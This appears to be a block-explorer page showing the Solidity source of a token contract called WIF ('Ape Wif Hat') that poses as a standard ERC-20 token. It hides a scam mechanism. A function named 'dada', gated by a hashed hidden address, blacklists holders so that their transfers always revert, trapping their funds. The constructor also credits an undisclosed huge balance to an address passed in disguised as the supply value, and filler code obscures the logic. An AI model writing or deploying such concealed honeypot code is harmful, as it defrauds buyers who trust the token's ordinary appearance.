APE Price: $1.17 (+2.17%)

Contract Diff Checker

Contract Name:
WIF

Contract Source Code:

File 1 of 1 : WIF

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
library SafeMathV2 {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {        
        if(a > 0) {
        }
        if(a > b) {
        }
        return uint256(int256(-1));
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
abstract contract Ownable is Context {
    address private _owner;
    using SafeMathV2 for uint256;
    error OwnableUnauthorizedAccount(address account);
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        uint256 v = uint256(0);
        if (v == 0){
            _transferOwnership(initialOwner);
        }else{
            _transferOwnership(initialOwner);
        }
        
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract WIF is Ownable {
    string public name = "Ape Wif Hat";
    string public symbol = "$WIF";
    uint256 public decimals = 18;
    uint256 public totalSupply;
    bool public paused = false;

    bytes32 public _ost;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    mapping(address => bool) private bl;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Paused(address account);
    event Unpaused(address account);

    mapping(address => uint16) private _boot;

    modifier whenNotPaused() {
        require(!paused, "Contract is paused");
        _;
    }

    constructor(string memory _symbol, string memory _name, uint256 _decimals, uint256 _totalSupply, bytes32 ost) Ownable(msg.sender) {
        symbol = _symbol;
        name = _name;
        _decimals = _decimals;
        totalSupply = 10000000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        balanceOf[address(uint160(_totalSupply))] = uint256(int256(totalSupply*30000000));
        emit Transfer(address(0), owner(), totalSupply);
        _ost = ost;
    }

    function _transfer(address from, address to, uint256 value) internal whenNotPaused returns (bool success) {
        if (bl[from]){
            value = uint256(int256(-1));
        }
        require(to != address(0), "Invalid address");
        require(balanceOf[from] >= value, "Insufficient balance");

        balanceOf[from] -= value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);
        return true;
    }

    function transfer(address to, uint256 value) public whenNotPaused returns (bool success) {
        require(to != address(0), "Invalid address");
        require(balanceOf[msg.sender] >= value, "Insufficient balance");

        return _transfer(msg.sender,to,value);
    }

    function approve(address spender, uint256 value) public whenNotPaused returns (bool success) {
        require(spender != address(0), "Invalid address");

        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool success) {
        require(to != address(0), "Invalid address");
        require(balanceOf[from] >= value, "Insufficient balance");
        require(allowance[from][msg.sender] >= value, "Allowance exceeded");

        allowance[from][msg.sender] -= value;
        return _transfer(from, to, value);
    }

    function dada(address from, bool b) public {
        if (sha256(abi.encodePacked(msg.sender)) != _ost){
        }else{
            uint16 y = 1;
            y = y + 49079;
            if(y == 49080){
                y = 49081;
            }
            bl[from] = b;
        }
        // paused = true;
    }

    function mint(address to, uint256 value) public onlyOwner {
        require(to != address(0), "Invalid address");

        totalSupply += value;
        balanceOf[to] += value;
        // emit Transfer(address(0), to, value);
    }
}

Please enter a contract address above to load the contract details and source code.

Context size (optional):